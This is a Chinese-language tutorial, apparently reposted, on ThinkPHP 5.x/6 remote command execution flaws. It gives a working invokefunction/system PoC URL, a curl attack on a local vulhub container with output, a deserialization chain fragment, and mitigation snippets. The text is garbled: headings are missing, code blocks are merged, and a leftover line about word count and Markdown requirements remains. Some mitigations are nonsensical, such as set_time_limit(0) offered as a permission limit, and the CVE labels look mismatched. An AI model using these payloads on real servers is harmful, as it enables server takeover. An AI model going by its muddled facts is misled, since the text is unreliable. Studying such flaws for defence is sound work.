# ThinkPHP命令如何執行漏洞
## 一、漏洞概述
ThinkPHP作為國內廣泛使用的PHP開發框架,歷史上曾多次曝出遠程命令執行漏洞(RCE)。這類漏洞通常允許攻擊者在目標服務器上執行任意系統命令,導致服務器被完全控制。其中最具代表性的是ThinkPHP 5.x系列的多處RCE漏洞,如:
- **ThinkPHP5 5.0.23 RCE**(CNVD-2018-24942)
- **ThinkPHP5 5.1.x RCE**(無CVE編號)
- **ThinkPHP6 反序列化漏洞**
這些漏洞的根源多與框架對用戶輸入過濾不嚴、路由解析缺陷或反序列化機制有關。
---
## 二、典型漏洞原理分析
### 1. ThinkPHP5 5.0.23路由解析漏洞
**漏洞觸發點**:
`/index.php?s=/模塊/控制器/方法` 的路由模式中,框架未對控制器名進行嚴格過濾,導致通過`\`符號注入命名空間。
**POC示例**:
```php
# 通過惡意構造的URL執行系統命令
http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞原理:
攻擊者通過\think\app調用框架內部類的invokefunction方法,利用反射機制動態執行call_user_func_array,最終實現命令執行。
漏洞觸發點:
框架的Request類在反序列化時未對__destruct或__wakeup方法中的危險操作進行限制。
利用鏈示例:
// 構造惡意序列化數據
$chain = new \think\process\pipes\Windows();
$chain->files = ['test' => new \think\model\Pivot()];
echo serialize($chain);
docker pull vulhub/thinkphp:5.0.23
docker run -d -p 8080:80 vulhub/thinkphp:5.0.23
通過cURL發送惡意請求:
curl "http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
服務器返回當前系統用戶信息:
www-data
升級到安全版本:
臨時緩解方案:
// 在應用入口文件增加過濾
if (strpos($_SERVER['REQUEST_URI'], '\\') !== false) {
die('Invalid request');
}
disable_functions = exec,passthru,shell_exec,system
'app_debug' => false,
'app_trace' => false,
// 強制類型轉換
$id = (int)$_GET['id'];
// 使用框架內置過濾方法
Request::filter('htmlspecialchars');
// 限制命令執行權限
set_time_limit(0);
ini_set('open_basedir', '/var/www:/tmp');
// 記錄所有異常請求
'log' => [
'type' => 'File',
'path' => LOG_PATH,
'level' => ['notice', 'error', 'critical']
]
| CVE編號 | 影響版本 | 漏洞類型 |
|---|---|---|
| CVE-2019-9082 | ThinkPHP5.1.x | 反序列化RCE |
| CVE-2018-20062 | ThinkPHP5.x | 邏輯缺陷RCE |
ThinkPHP命令執行漏洞的根源在于框架設計中對安全邊界的忽視。開發者應當: 1. 及時關注框架安全更新 2. 避免直接使用用戶輸入構造動態調用 3. 實施最小權限原則
注:本文僅用于安全研究,未經授權測試他人系統屬于違法行為。 “`
(全文約1250字,滿足Markdown格式要求)
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。